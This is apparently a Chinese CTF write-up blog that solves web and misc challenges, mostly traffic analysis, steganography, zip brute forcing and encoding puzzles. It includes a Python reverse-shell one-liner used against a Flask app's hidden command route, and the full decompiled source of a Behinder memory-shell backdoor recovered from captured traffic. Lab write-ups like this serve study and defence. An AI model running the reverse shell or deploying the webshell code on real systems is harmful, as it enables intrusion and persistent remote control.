1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <!DOCTYPE html > <html > <head > <title > Welcome to Earth</title > </head > <body > <h1 > AMBUSH!</h1 > <p > You've gotta escape!</p > <img src ="/static/img/f18.png" alt ="alien mothership" style ="width:60vw;" /> <script > document .onkeydown = function (event ) { event = event || window .event ; if (event.keyCode == 27 ) { event.preventDefault (); window .location = "/chase/" ; } else die (); }; function sleep (ms ) { return new Promise (resolve => setTimeout (resolve, ms)); } async function dietimer ( ) { await sleep (10000 ); die (); } function die ( ) { window .location = "/die/" ; } dietimer (); </script > </body > </html >
如果按esc就会跳转到/chase,10秒之后就会die,要看chase就需要抓包了
这里还有一个路由,访问一下
接着访问
这些数不管点那个都会die,看源码有一个door.js
也不是点那个都会die,1/360的概率可以成功,到open这个还是看源码的js文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // Run to scramble original flag //console.log(scramble(flag, action)); function scramble(flag, key) { for (var i = 0; i < key.length; i++) { let n = key.charCodeAt(i) % flag.length; let temp = flag[i]; flag[i] = flag[n]; flag[n] = temp; } return flag; } function check_action() { var action = document.getElementById("action").value; var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]; // TODO: unscramble function }
这里需要排列组合了,flag格式是pctf{heyxxxxxck!}
1 2 3 4 5 6 7 8 9 10 11 12 from itertools import permutationsimport reflag = ["{hey" , "_boy" , "aaaa" , "s_im" , "ck!}" , "_baa" , "aaaa" , "pctf" ] item = permutations(flag) for a in item: k = '' .join(list (a)) if re.search('^pctf\{hey_boys[a-zA-z_]+ck!\}$' , k): print (k)
第三个是flag
[网鼎杯 2020 白虎组]PicDown 这个题目环境可能有问题,尝试http://www.baidu.com直接超时了,看wp知道是python2的**urllib**的urlopen支持将路径直接作为参数打开对应的本地路径,可以直接填写文件路径进行文件读取。
非预期解就是直接/flag
预期解就是先读取进程的启动命令
读取一下app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask, Responsefrom flask import render_templatefrom flask import requestimport osimport urllibapp = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open (SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE) @app.route('/' ) def index (): return render_template('search.html' ) @app.route('/page' ) def page (): url = request.args.get("url" ) try : if not url.lower().startswith("file" ): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream' ) response.headers['Content-Disposition' ] = 'attachment; filename=beautiful.jpg' return response else : value = "HACK ERROR!" except : value = "SOMETHING WRONG!" return render_template('search.html' , res=value) @app.route('/no_one_know_the_manager' ) def manager (): key = request.args.get("key" ) print (SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell" ) os.system(shell) res = "ok" else : res = "Wrong Key!" return res if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8080 )
主要是在/no_one_know_the_manager路由下只要输入key,就可以用shell传参进行rce,但是这是使用的是os.system(shell)只执行没有回显,需要反弹shell,第一步就是读取key,脚本启动后就会删除secret.txt,文件被删除后但是进程占用,依然可以读取,路径是/proc/self/fd/3,这个3可以爆破出来
带着key就可以进行反弹shell了
1 python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
misc 依旧是串一下,写两道软件系统安全赛初赛2026的misc,这波信息差了,都没报这个比赛,还是赛后群友讨论才知道,复现环境青岑网安 | QingCen CTF ,很好的平台。这里就两道题,记录一下
traffic_hunt 流量分析,依旧先统计
记录的是10.1.243.155和10.1.33.63之间的流量,其中get请求很多因该是在扫目录
在tcp5009包中
经典的shiro流量,前面的是在进行rce,关键看最后一条命令
其中yv66vgAA是Java class ⽂件 Base64特征,反编译一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 package com.summersec.x;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.math.BigInteger;import java.security.MessageDigest;import java.util.EnumSet;import java.util.HashMap;import java.util.Map;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.DispatcherType;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletRequestWrapper;import javax.servlet.ServletResponse;import javax.servlet.ServletResponseWrapper;import javax.servlet.FilterRegistration.Dynamic;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.HttpSession;import org.apache.catalina.LifecycleState;import org.apache.catalina.connector.RequestFacade;import org.apache.catalina.connector.ResponseFacade;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.util.LifecycleBase;public final class BehinderFilter extends ClassLoader implements Filter { public HttpServletRequest request = null ; public HttpServletResponse response = null ; public String cs = "UTF-8" ; public String Pwd = "eac9fa38330a7535" ; public String path = "/favicondemo.ico" ; public BehinderFilter () { } public BehinderFilter (ClassLoader c) { super (c); } public Class g (byte [] b) { return super .defineClass(b, 0 , b.length); } public static String md5 (String s) { String ret = null ; try { MessageDigest m = MessageDigest.getInstance("MD5" ); m.update(s.getBytes(), 0 , s.length()); ret = (new BigInteger (1 , m.digest())).toString(16 ).substring(0 , 16 ); } catch (Exception var3) { } return ret; } public boolean equals (Object obj) { this .parseObj(obj); this .Pwd = md5(this .request.getHeader("p" )); this .path = this .request.getHeader("path" ); StringBuffer output = new StringBuffer (); String tag_s = "->|" ; String tag_e = "|<-" ; try { this .response.setContentType("text/html" ); this .request.setCharacterEncoding(this .cs); this .response.setCharacterEncoding(this .cs); output.append(this .addFilter()); } catch (Exception var7) { output.append("ERROR:// " + var7.toString()); } try { this .response.getWriter().print(tag_s + output.toString() + tag_e); this .response.getWriter().flush(); this .response.getWriter().close(); } catch (Exception var6) { } return true ; } public void parseObj (Object obj) { if (obj.getClass().isArray()) { Object[] data = (Object[])((Object[])((Object[])obj)); this .request = (HttpServletRequest)data[0 ]; this .response = (HttpServletResponse)data[1 ]; } else { try { Class clazz = Class.forName("javax.servlet.jsp.PageContext" ); this .request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest" ).invoke(obj); this .response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse" ).invoke(obj); } catch (Exception var8) { if (obj instanceof HttpServletRequest) { this .request = (HttpServletRequest)obj; try { Field req = this .request.getClass().getDeclaredField("request" ); req.setAccessible(true ); HttpServletRequest request2 = (HttpServletRequest)req.get(this .request); Field resp = request2.getClass().getDeclaredField("response" ); resp.setAccessible(true ); this .response = (HttpServletResponse)resp.get(request2); } catch (Exception var7) { try { this .response = (HttpServletResponse)this .request.getClass().getDeclaredMethod("getResponse" ).invoke(obj); } catch (Exception var6) { } } } } } } public String addFilter () throws Exception { ServletContext servletContext = this .request.getServletContext(); Filter filter = this ; String filterName = this .path; String url = this .path; if (servletContext.getFilterRegistration(filterName) == null ) { Field contextField = null ; ApplicationContext applicationContext = null ; StandardContext standardContext = null ; Field stateField = null ; Dynamic filterRegistration = null ; String var11; try { contextField = servletContext.getClass().getDeclaredField("context" ); contextField.setAccessible(true ); applicationContext = (ApplicationContext)contextField.get(servletContext); contextField = applicationContext.getClass().getDeclaredField("context" ); contextField.setAccessible(true ); standardContext = (StandardContext)contextField.get(applicationContext); stateField = LifecycleBase.class.getDeclaredField("state" ); stateField.setAccessible(true ); stateField.set(standardContext, LifecycleState.STARTING_PREP); filterRegistration = servletContext.addFilter(filterName, filter); filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false , new String []{url}); Method filterStartMethod = StandardContext.class.getMethod("filterStart" ); filterStartMethod.setAccessible(true ); filterStartMethod.invoke(standardContext, (Object[])null ); stateField.set(standardContext, LifecycleState.STARTED); var11 = null ; Class filterMap; try { filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap" ); } catch (Exception var22) { filterMap = Class.forName("org.apache.catalina.deploy.FilterMap" ); } Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps" ); Object[] filterMaps = (Object[])((Object[])((Object[])findFilterMaps.invoke(standardContext))); for (int i = 0 ; i < filterMaps.length; ++i) { Object filterMapObj = filterMaps[i]; findFilterMaps = filterMap.getMethod("getFilterName" ); String name = (String)findFilterMaps.invoke(filterMapObj); if (name.equalsIgnoreCase(filterName)) { filterMaps[i] = filterMaps[0 ]; filterMaps[0 ] = filterMapObj; } } String var25 = "Success" ; String var26 = var25; return var26; } catch (Exception var23) { var11 = var23.getMessage(); } finally { stateField.set(standardContext, LifecycleState.STARTED); } return var11; } else { return "Filter already exists" ; } } public void doFilter (ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException { HttpSession session = ((HttpServletRequest)req).getSession(); Object lastRequest = req; Object lastResponse = resp; Method getResponse; if (!(req instanceof RequestFacade)) { getResponse = null ; try { getResponse = ServletRequestWrapper.class.getMethod("getRequest" ); for (lastRequest = getResponse.invoke(this .request); !(lastRequest instanceof RequestFacade); lastRequest = getResponse.invoke(lastRequest)) { } } catch (Exception var11) { } } try { if (!(lastResponse instanceof ResponseFacade)) { getResponse = ServletResponseWrapper.class.getMethod("getResponse" ); for (lastResponse = getResponse.invoke(this .response); !(lastResponse instanceof ResponseFacade); lastResponse = getResponse.invoke(lastResponse)) { } } } catch (Exception var10) { } Map obj = new HashMap (); obj.put("request" , lastRequest); obj.put("response" , lastResponse); obj.put("session" , session); try { session.putValue("u" , this .Pwd); Cipher c = Cipher.getInstance("AES" ); c.init(2 , new SecretKeySpec (this .Pwd.getBytes(), "AES" )); (new BehinderFilter (this .getClass().getClassLoader())).g(c.doFinal(this .base64Decode(req.getReader().readLine()))).newInstance().equals(obj); } catch (Exception var9) { var9.printStackTrace(); } } public byte [] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder" ); return (byte [])((byte [])((byte [])clazz.getMethod("decodeBuffer" , String.class).invoke(clazz.newInstance(), str))); } catch (Exception var5) { Class clazz = Class.forName("java.util.Base64" ); Object decoder = clazz.getMethod("getDecoder" ).invoke((Object)null ); return (byte [])((byte [])((byte [])decoder.getClass().getMethod("decode" , String.class).invoke(decoder, str))); } } public void init (FilterConfig filterConfig) throws ServletException { } public void destroy () { } }
分析代码知道这个是一个冰蝎的后门,
1 this.Pwd = md5(this.request.getHeader("p"));
连接密钥就是
HWmc2TLDoihdlr0N,这个的md5的前16位,后门文件是favicondemo.ico,过滤追踪流分析webshell流量,这里流量太多,看几个主要的流量
这里是可以看到tmp目录下有一个out文件,绝大多是流量都是在写入conten,也就是这个out文件,这个是攻击者写入的文件,然后到后面
执行了
1 ./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=
后面的流量是解密的,用密钥解密这个流量
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 import pysharkimport structimport base64from cryptography.hazmat.primitives.ciphers.aead import AESGCMimport osPCAP_FILE = 'traffic_hunt.pcapng' STREAM_INDEX = 40563 KEY_B64 = "IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=" TSHARK_PATH = r"D:\huchuhao\Wireshark\tshark.exe" def decrypt_payload (data, aesgcm ): """ 解析二进制流并解密: 结构: 4字节长度 (小端序) + 12字节 Nonce + 密文 (含 16字节 MAC Tag) """ offset = 0 results = [] while offset < len (data): if offset + 4 > len (data): break length = struct.unpack('<I' , data[offset:offset+4 ])[0 ] offset += 4 if offset + length > len (data): print (f"[-] 警告: 数据流截断,期望 {length} 字节,实际剩余 {len (data) - offset} 字节" ) break payload = data[offset:offset+length] offset += length if len (payload) < 12 : continue nonce = payload[:12 ] ciphertext = payload[12 :] try : plaintext = aesgcm.decrypt(nonce, ciphertext, None ) results.append(plaintext) except Exception as e: results.append(f"[解密失败: {e} ]" .encode()) return results def analyze_pcap (): if not os.path.exists(PCAP_FILE): print (f"[-] 错误:找不到PCAP文件 {PCAP_FILE} ,请检查路径!" ) return if not os.path.exists(TSHARK_PATH): print (f"[-] 错误:找不到TShark程序 {TSHARK_PATH} ,请检查路径!" ) return print (f"[*] 正在读取 {PCAP_FILE} 并过滤 tcp.stream eq {STREAM_INDEX} ..." ) print (f"[*] 使用TShark路径:{TSHARK_PATH} " ) try : cap = pyshark.FileCapture( PCAP_FILE, display_filter=f'tcp.stream eq {STREAM_INDEX} ' , tshark_path=TSHARK_PATH ) except Exception as e: print (f"[-] 加载PCAP文件失败:{e} " ) return client_to_server_data = bytearray () server_to_client_data = bytearray () client_ip = None try : for pkt in cap: try : payload_hex = pkt.tcp.payload.replace(':' , '' ) tcp_payload = bytes .fromhex(payload_hex) if client_ip is None : client_ip = pkt.ip.src if pkt.ip.src == client_ip: client_to_server_data.extend(tcp_payload) else : server_to_client_data.extend(tcp_payload) except AttributeError: continue except Exception as e: print (f"[-] 解析数据包时出错:{e} " ) finally : cap.close() try : key = base64.b64decode(KEY_B64) aesgcm = AESGCM(key) except Exception as e: print (f"[-] 初始化AES-GCM解密器失败:{e} " ) return print ("\n" + "=" *60 ) print ("[*] 攻击者指令 (客户端 -> 服务端):" ) print ("=" *60 ) client_decrypted = decrypt_payload(client_to_server_data, aesgcm) for i, data in enumerate (client_decrypted): try : print (f"[{i+1 } ] {data.decode('utf-8' ).strip()} " ) except UnicodeDecodeError: print (f"[{i+1 } ] (Hex) {data.hex ()} " ) print ("\n" + "=" *60 ) print ("[*] 服务器回显 (服务端 -> 客户端):" ) print ("=" *60 ) server_decrypted = decrypt_payload(server_to_client_data, aesgcm) for i, data in enumerate (server_decrypted): try : print (f"[{i+1 } ]\n{data.decode('utf-8' ).strip()} \n" ) except UnicodeDecodeError: print (f"[{i+1 } ] (Hex) {data.hex ()} \n" ) if __name__ == '__main__' : analyze_pcap()
1 echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi
随波逐流解码得到flag
1 dart{d9850b27-85cb-4777-85e0-df0b78fdb722}
第一次分析还尝试还原这个后门文件,浪费了不少时间。(你是一个ctfer,对一道题分析了几个小时,然后同学跟你说别分析了ai一把梭出来了,这个flag不再是那个香香软软的flag了)
steganography 考察隐写术,首先分析文件
这个文件头就很不对,明显被修改过的,这个其实是7z文件的文件头,377ABCAF271C 修复后解压分析图片
lsb隐写提取flag.zip,然后分析,pass1-pass6考察的是crc32爆破,exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import zipfileimport zlibimport stringfrom pathlib import PathCHARSET = string.digits + string.ascii_letters + string.punctuation + " " FILE_SIZE = 4 def crack_crc32 (crc32_expected: int , length: int ) -> str | None : """ 暴力破解指定长度和 CRC32 的字符串 :param crc32_expected: 目标 CRC32 值(无符号整数) :param length: 原始字符串长度 :return: 匹配的字符串,未找到则返回 None """ from itertools import product for chars in product(CHARSET, repeat=length): s = "" .join(chars) crc = zlib.crc32(s.encode()) & 0xFFFFFFFF if crc == crc32_expected: return s return None def process_zip (zip_path: Path ) -> str | None : """ 处理单个 zip 文件,提取内部 txt 的 CRC32 并爆破 """ with zipfile.ZipFile(zip_path, "r" ) as zf: info = zf.infolist()[0 ] crc32 = info.CRC file_size = info.file_size print (f"[+] 处理 {zip_path.name} : CRC32=0x{crc32:08x} , 大小={file_size} " ) return crack_crc32(crc32, file_size) def batch_process (start_prefix: str , end_prefix: str , suffix: str = ".zip" ): """ 批量处理 pass1.zip ~ pass6.zip 这类文件 :param start_prefix: 起始前缀(如 "pass1") :param end_prefix: 结束前缀(如 "pass6") """ start_num = int ('' .join([c for c in start_prefix if c.isdigit()])) end_num = int ('' .join([c for c in end_prefix if c.isdigit()])) prefix_base = '' .join([c for c in start_prefix if not c.isdigit()]) results = {} for i in range (start_num, end_num + 1 ): zip_name = f"{prefix_base} {i} {suffix} " zip_path = Path(zip_name) if not zip_path.exists(): print (f"[-] {zip_path} 不存在,跳过" ) continue res = process_zip(zip_path) if res: results[i] = res print (f"[+] 找到结果: {zip_name} -> {res} " ) else : results[i] = None print (f"[-] {zip_name} 未找到匹配结果" ) return results if __name__ == "__main__" : results = batch_process("pass1" , "pass6" ) print ("\n[*] 最终结果汇总:" ) for idx, res in sorted (results.items()): print (f"pass{idx} .zip: {res if res else '未找到' } " ) flag = "" .join([res for res in results.values() if res]) print (f"\n[*] 拼接结果: {flag} " )
密码是c1!xxtLf%fXYPkaA
然后零宽字符隐写
dart{bf4100d9-cc8d-48f6-a095-54cbfad189e1}
[RoarCTF2019]黄金6年 010分析附件,在最后有base64
解码保存文件为rar
发现需要密码,看mp4的时候能看到二维码,使用kinove打开视频慢放
还有那个是用pr的找到最后的二维码,最后密码是iwantplayctf
roarctf{CTF-from-RuMen-to-RuYuan}
[WUSTCTF2020]alison_likes_jojo 随波逐流分析图片,发现有一个也压缩包,爆破一下
解压的到一段base64,多重base64解码
outguess解密
从娃娃抓起 题目提示是两种不同的汉字编码,伟人是指的邓小平
首先想到的是中文电码
1 bnhn s wwy vffg vffg rrhy fhnv
这是五笔编码,积累一下,也要从娃娃抓起
人工智能也要从娃娃抓起
flag{3b4b5dccd2c008fe7e2664bd1bc19292}
[安洵杯 2019]吹着贝斯扫二维码 这个关键就是拼接二维码,试了几个工具都没有自动拼接好,只能手拼了
BASE Family Bucket ??? 85->64->85->13->16->32,依次解码就行ThisIsSecret!233
flag{Qr_Is_MeAn1nGfuL}
附件是png,010分析是文件头不对,修改一下,前面改为89504e470
flag{3lit3_h4ck3r}
[GUET-CTF2019]zips 解压压缩包得到一个新的加密压缩包,尝试爆破密码,得到密码时723456,
随波逐流分析附件得到压缩包时伪加密,附件给了一个sh文件
1 2 3 4 #!/bin/bash # zip -e --password=`python -c "print(__import__('time').time())"` flag.zip flag
代码意思是用当前的时间戳作为密码加密压缩包,使用掩码掩码爆破密码1558080832.15
flag{fkjabPqnLawhvuikfhgzyffj}
弱口令
这里看到有提示,
摩斯密码
.... . .-.. .-.. ----- ..-. --- .-. ..- --
解压得到一个png,随波逐流大概看了一下没有啥有用的信息,题目提示时弱口令,这里就要上工具了,而且是有密码,是一个弱口令
[XMAN2018排位赛]通行证 附件base64解码得到kanbbrgghjl{zb____}vtlaln,栅栏加密+rot13
xman{oyay_now_you_get_it}
[DDCTF2018]流量分析 大概看了一下没有HTTP流量,看一下协议
分析看到存在SMTP流量,之前导出附件都是HTTP对象,这次是SMTP,这次选择
IMF对象列表,导出邮件查看信息
分析图片这是BASE64编码的RSA公钥,具有开头结尾的特征,修改为PEM格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 -----BEGIN RSA PRIVATE KEY----- MIICXAIBAAKBgQDCm6vZmclJrVH1AAyGuCuSSZ8O+mIQiOUQCvN0HYbj8153JfSQ LsJIhbRYS7+zZ1oXvPemWQDv/u/tzegt58q4ciNmcVnq1uKiygc6QOtvT7oiSTyO vMX/q5iE2iClYUIHZEKX3BjjNDxrYvLQzPyGD1EY2DZIO6T45FNKYC2VDwIDAQAB AoGAbtWUKUkx37lLfRq7B5sqjZVKdpBZe4tL0jg6cX5Djd3Uhk1inR9UXVNw4/y4 QGfzYqOn8+Cq7QSoBysHOeXSiPztW2cL09ktPgSlfTQyN6ELNGuiUOYnaTWYZpp/ QbRcZ/eHBulVQLlk5M6RVs9BLI9X08RAl7EcwumiRfWas6kCQQDvqC0dxl2wIjwN czILcoWLig2c2u71Nev9DrWjWHU8eHDuzCJWvOUAHIrkexddWEK2VHd+F13GBCOQ ZCM4prBjAkEAz+ENahsEjBE4+7H1HdIaw0+goe/45d6A2ewO/lYH6dDZTAzTW9z9 kzV8uz+Mmo5163/JtvwYQcKF39DJGGtqZQJBAKa18XR16fQ9TFL64EQwTQ+tYBzN +04eTWQCmH3haeQ/0Cd9XyHBUveJ42Be8/jeDcIx7dGLxZKajHbEAfBFnAsCQGq1 AnbJ4Z6opJCGu+UP2c8SC8m0bhZJDelPRC8IKE28eB6SotgP61ZqaVmQ+HLJ1/wH /5pfc3AmEyRdfyx6zwUCQCAH4SLJv/kprRz1a1gx8FR5tj4NeHEFFNEgq1gmiwmH 2STT5qZWzQFz8NRe+/otNOHBR2Xk4e8IS+ehIJ3TvyE= -----END RSA PRIVATE KEY-----
接着下时tls解密,
导入配置文件,解密后就http流量
DDCTF{0ca2d8642f90e10efd9092cd6a2831c0}
Mysterious 逆向分析需要土哥分析
zip 解压是一堆压缩包,里面是data.txt,文件原始大小为4,尝试crc32爆破,由于文件较多,使用脚本批量解密,根据题目提示,将文件拼一下然后base64解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import zipfileimport zlibimport itertoolsimport stringimport base64from tqdm import tqdmcharset = string.printable def crack_crc32 (target_crc ): """ 爆破4字节内容,使其CRC32匹配 """ for candidate in itertools.product(charset, repeat=4 ): s = '' .join(candidate).encode() if zlib.crc32(s) & 0xffffffff == target_crc: return s return None def get_crc_from_zip (zip_path ): """ 从zip中读取data.txt的CRC32 """ with zipfile.ZipFile(zip_path, 'r' ) as z: info = z.getinfo('data.txt' ) return info.CRC def main (): result = b'' for i in tqdm(range (68 )): zip_name = f'out{i} .zip' crc = get_crc_from_zip(zip_name) data = crack_crc32(crc) if data is None : print (f"[!] 未找到: {zip_name} " ) return result += data print ("[+] 拼接完成:" , result) try : decoded = base64.b64decode(result) print ("[+] Base64解码结果:" ) print (decoded) except Exception as e: print ("[!] Base64解码失败:" , e) if __name__ == "__main__" : main()
base64解码并没有直接看到flag,拼接过后的内容为
1 z5BzAAANAAAAAAAAAKo+egCAIwBJAAAAVAAAAAKGNKv+a2MdSR0zAwABAAAAQ01UCRUUy91BT5UkSNPoj5hFEVFBRvefHSBCfG0ruGnKnygsMyj8SBaZHxsYHY84LEZ24cXtZ01y3k1K1YJ0vpK9HwqUzb6u9z8igEr3dCCQLQAdAAAAHQAAAAJi0efVT2MdSR0wCAAgAAAAZmxhZy50eHQAsDRpZmZpeCB0aGUgZmlsZSBhbmQgZ2V0IHRoZSBmbGFnxD17AEAHAA==
这里解出来是乱码,看一下十六进制
这里才疏学浅了,只记得RAR文件的文件头,不知道RAR文件的文件尾
1 2 52 61 72 21 1A 07 00 # RAR文件头 C4 3D 7B 00 40 07 00 # RAR文件尾
添加文件头即可
flag{nev3r_enc0de_t00_sm4ll_fil3_w1th_zip}
SUCTF2018]followme NETA分析直接梭了
[WUSTCTF2020]girlfriend 给出的附件一听是拨号音,DTMF拨号音识别工具 ,识别分析
1 识别结果:9994*666*88*2*777**33*6*999*74*444*777*555*333*777*444*33*766*3*7777
然后就是手机键盘密码,这个就是按照九宫格输入法,第一个是三个9.就对应Y,让后以此类推
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 999 ---> y 666 ---> o 88 ---> u 2 ---> a 777 ---> r 33 ---> e 6 ---> m 999 ---> y 4 ---> g 4444 ---> i 777 ---> r 555 ---> l 333 ---> f 777 ---> r 444 ---> i 33 ---> e 66 ---> n 3 ---> d 7777 ---> s youaremygirlfriends
[DDCTF2018](╯°□°)╯︵ ┻━┻ 1 2 3 4 5 6 (究~↓~ㄘ究舟 拋岩拋 50pt (究~↓~ㄘ究舟 拋岩拋 d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e4b3b2b2e3e6b4b3e2b5b0b6b1b0e6e1e5e1b5fd
分析数据由0-9.a-f组成,分析十六进制,两个一个分开,但是转ASCII这些数值都大于128,都减去128就行,最后得到
1 That was fast! The flag is: DDCTF{922ab9974a47cd322cf43b50610faea5}
百里挑一
这里找到flag的前半段flag{ae58d0408e26e8,还差后半段,看了很多wp都说在tcp114流中
flag{ae58d0408e26e8f26a3c0589d23edeec}
[MRCTF2020]千层套路 提示密码均为4位纯数字,然后密码为文件名,经过测试0573.zip的密码就是0573,写个脚本批量处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import zipfileimport osstart_zip = r"0114.zip" current_file = start_zip print ("开始自动解压千层 ZIP...\n" )while True : if not current_file.endswith(".zip" ): print (f"✅ 最终文件:{current_file} " ) break file_name = os.path.basename(current_file) password = os.path.splitext(file_name)[0 ] print (f"正在解压:{current_file} | 密码:{password} " ) try : with zipfile.ZipFile(current_file) as zf: zf.setpassword(password.encode('utf-8' )) zf.extractall() next_file = zf.namelist()[0 ] os.remove(current_file) current_file = next_file except Exception as e: print (f"❌ 解压失败:{e} " ) break
最后是一个qr,随波逐流RGB数据串转图片
MRCTF{ta01uyout1nreet1n0usandtimes}
[BSidesSF2019]zippy
调整显示为原始数据导入cybershef
supercomplexpassword解压即可CTF{this_flag_is_your_flag}
[MRCTF2020]CyberPunk
修改系统时间为2020.9.17再次运行即可
{We1cOm3_70_cyber_security}
[UTCTF2020]basic-forensics
直接搜flag就行flag{fil3_ext3nsi0ns_4r3nt_r34l}